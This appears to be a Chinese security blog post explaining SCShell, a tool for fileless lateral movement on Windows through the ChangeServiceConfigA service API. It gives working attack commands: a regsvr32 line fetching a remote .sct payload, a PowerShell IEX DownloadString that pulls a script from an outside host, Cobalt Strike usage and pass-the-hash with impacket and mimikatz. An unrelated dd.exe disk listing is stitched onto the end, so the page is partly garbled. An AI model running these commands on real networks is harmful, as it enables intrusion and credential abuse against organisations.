windows使用dd.exe的原理_横向移动SCshell使用Service Manager进行无文件横向移动

SCShell是一款利用ChangeServiceConfigA API进行无文件横向移动的工具,无需创建或注册服务。它通过DCERPC进行身份验证和远程操作,可执行命令或加载payload。工具支持py和exe,适用于Windows环境,且可以使用散列传递进行横向移动。利用过程中,服务二进制路径被临时修改为payload,完成后恢复原状,日志会记录相关活动。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

1.简单介绍

SCShell是无文件横向移动工具,它依赖ChangeServiceConfigA来运行命令。该工具的优点在于它不会针对SMB执行身份验证。一切都通过DCERPC执行。无需创建服务,而只需通过ChangeServiceConfigAAPI 远程打开服务并修改二进制路径名即可(所以要事先知道目标上的服务名称)。支持py和exe两种文件类型。

该实用程序可以在不注册服务或创建服务的情况下远程使用。它也不必在远程系统上删除任何文件*(取决于用于执行的技术)

一切都通过DCERPC执行。执行完成后,服务二进制路径将还原为原始路径

2.技术细节

首先,它创建身份验证,这个工具是使用LogonUserA API和ImpersonateLoggedOnUserA实现的。

6f3e465bce0530bd4c8d231fb62f7351.png

一旦进程获取了正确的身份验证,即可使用OpenSCManagerA远程打开目标主机上Service Manager 

7472033bc0ab412393e6e188dc6c966a.png

使用OpenServiceA API打开远程服务并抛出错误

784e0ebea1dc4118c5d0b79a07d3cac5.png

往下看是通过调用ChangeServiceConfigA API可以实现代码执行的效果。

72bf617772bb73ac4e7ec637e22e46ce.png

通过查看微软文档我们可以知道API的第五个参数是用于启动服务的二进制路径

BOOL ChangeServiceConfig( SC_HANDLE hService      // 打开服务时返回的句柄 DWORD dwServiceType,    // 服务的类型 DWORD dwStartType,      // 何时启动服务 DWORD dwErrorControl, // 错误控制代码 LPCTSTR lpBinaryPathName, // 服务的路径 LPCTSTR lpLoadOrderGroup, // 服务所属的组 LPDWORD lpdwTagId,      // 服务的标记 LPCTSTR lpDependencies,     // 依赖的其它服务和组 LPCTSTR lpServiceStartName,// 服务的启动用户 LPCTSTR lpPassword,     //服务启动用户的密码 LPCTSTR lpDisplayName       // 服务的显示名);https://docs.microsoft.com/en-us/windows/win32/api/winsvc/nf-winsvc-changeserviceconfiga

所以作者在第5个参数设置了个payload值,也就是给我们输入的值。这个路径的是绝对路径,这里不多说,可以参考微软的文档。

02b98d7a87b79ea1fd7deb3503c62b67.png

那么上面的代码就是调用ChangeServiceConfigA来将二进制路径名设置为我们提供的有效负载(就是执行我们的lpBinaryPathName中的值,)

可利用点就是在这个位置,原理不难理解,就是ChangeServiceConfigA API中的lpBinaryPathName的值可控。

例如调用powershell来远程加载木马或执行命令等等。

最后就是通过StartServiceA启动服务。

35c4478669a45d629e35cf75f376a2f5.png

代码不难理解。

3.利用手法

作者给出的利用工具有包含exe,py和一个c语言的源码,其中exe和py能实现的功能并不一样。其实我个人觉得exe和py并不是很好用,所以powershell进行远程加载利用的话,我们就不用上传一个exe上去。后面花点时间写出来吧。

1. Windows 使用

Scshell需要以下参数:目标,服务,有效负载,用户名,账号,密码:

1.SCShell.exe 192.168.197.131XblAuthManager"C:\windows\system32\cmd.exe /c C:\windows\system32\regsvr32.exe /s /n /u /i://your.website/payload.sct scrobj.dll". administrastor Password# XblAuthManager 是 Xbox Accessory Management Service的服务名

例子:

我们使用这种手法来在目标主机中写入一个txt来证明可以利用

在win中 

scshell.exe 10.10.10.10 defragsvc "C:\windows\system32\cmd.exe /c echo ' hello' > c:\windows\temp\lat2.txt" . administrator 1qaz@wsx

c0406ba1c383f20601b894fc3e3c2332.png

在目标机器中我们可以看到写入一个txt

90f7d687f9a1fce1bee5b5f599aa9c2e.png

在cobalt Strike中

shell .\scshell.exe 10.10.10.10 defragsvc "C:\windows\system32\cmd.exe /c echo ' hello' > c:\windows\temp\lat2.txt" . administrator 1qaz@wsx

963213320061baddd9c42424aaba931e.png

2. Linux 安装使用(使用py脚本可以使用散列传递来执行相同的横向移动。)

1.pip install impacket2.git clone https://github.com/Mr-Un1k0d3r/SCShell3.cd https://github.com/Mr-Un1k0d3r/SCShell4.python scshell.py ./administrator:cxzcxz@192.168.52.133# 执行cmd模式,没有命令回显5.python scshell.py DOMAIN/USER@target -hashes 00000000000000000000000000000000:ad9827fcd039eadde017568170abdecce # hash验证

注意:无论是使用exe还是py脚本都是没有回显的。

3.可以使用该C程序传递哈希值。

有时情况下,将使用当前进程令牌。您可以使用标准传递哈希方法设置当前流程令牌。

在本地系统上

sekurlsa::pth /user:user /domain:domain /ntlm:hash /run:cmd.exe

然后在新创建的cmd.exe中运行SCShell.exe进行横向。

上面我们使用的是XblAuthManager,其实我们还可以使用defragsvc,msbuild等等

4.实战思路

这个不用多说了吧,简单就是远程调用powershell远程加载ps1上线,或执行一些命令。

shell scshell.exe 10.10.10.10 defragsvc "C:\windows\system32\cmd.exe /c powershell.exe IEX(New-Object Net.WebClinet).DownloadString('http://192.168.50.146:8000/123.ps1')" . administrator 1qaz@wsx

然后还有就是exe的话需要我们有目标主机的明文密码,但是,明文密码不好拿到,所以还是使用py脚本来传输hash进行横向好,当然后面我也会写一个powershell的出来。

从原理出发,举一反三就好

5.日志痕迹

使用用户凭证连接会在目标日志系统留下用户名、来访机器IP和服务超时等信息

0f5735de78416d19f28493c6e4a11f7e.png

5b9a6d8d145654e153ec14de70ecf95f.png

e0d4eed778c0ef08002d73b0cb196400.png

C:\Documents and Settings\Administrator>dd --list rawwrite dd for windows version 0.6beta3. Written by John Newbigin This program is covered by terms of the GPL Version 2. Win32 Available Volume Information \\.\Volume{f96a7ab8-6270-11e9-b10a-806d6172696f}\ link to \\?\Device\HarddiskVolume1 fixed media Mounted on \\.\c: \\.\Volume{f96a7ab9-6270-11e9-b10a-806d6172696f}\ link to \\?\Device\HarddiskVolume2 fixed media Mounted on \\.\e: \\.\Volume{f96a7aba-6270-11e9-b10a-806d6172696f}\ link to \\?\Device\HarddiskVolume3 fixed media Mounted on \\.\f: \\.\Volume{f96a7abb-6270-11e9-b10a-806d6172696f}\ link to \\?\Device\HarddiskVolume4 fixed media Mounted on \\.\d: \\.\Volume{04f3c464-ee5a-11e9-b217-00e04ca38b2c}\ link to \\?\Device\Harddisk1\DP(1)0-0+8 removeable media Mounted on \\.\g: NT Block Device Objects \\?\Device\Harddisk0\Partition0 link to \\?\Device\Harddisk0\DR0 Fixed hard disk media. Block size = 512 size is 1000204886016 bytes \\?\Device\Harddisk0\Partition1 link to \\?\Device\HarddiskVolume1 \\?\Device\Harddisk0\Partition2 link to \\?\Device\HarddiskVolume2 Fixed hard disk media. Block size = 512 size is 292058824704 bytes \\?\Device\Harddisk0\Partition3 link to \\?\Device\HarddiskVolume3 Fixed hard disk media. Block size = 512 size is 308710211584 bytes \\?\Device\Harddisk0\Partition4 link to \\?\Device\HarddiskVolume4 \\?\Device\Harddisk1\Partition0 link to \\?\Device\Harddisk1\DR7 Removable media other than floppy. Block size = 512 size is 67108864000 bytes \\?\Device\Harddisk1\Partition1 link to \\?\Device\Harddisk1\DP(1)0-0+8 Virtual input devices /dev/zero (null data) /dev/random (pseudo-random data) - (standard input) Virtual output devices - (standard output) /dev/null (discard the data)
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值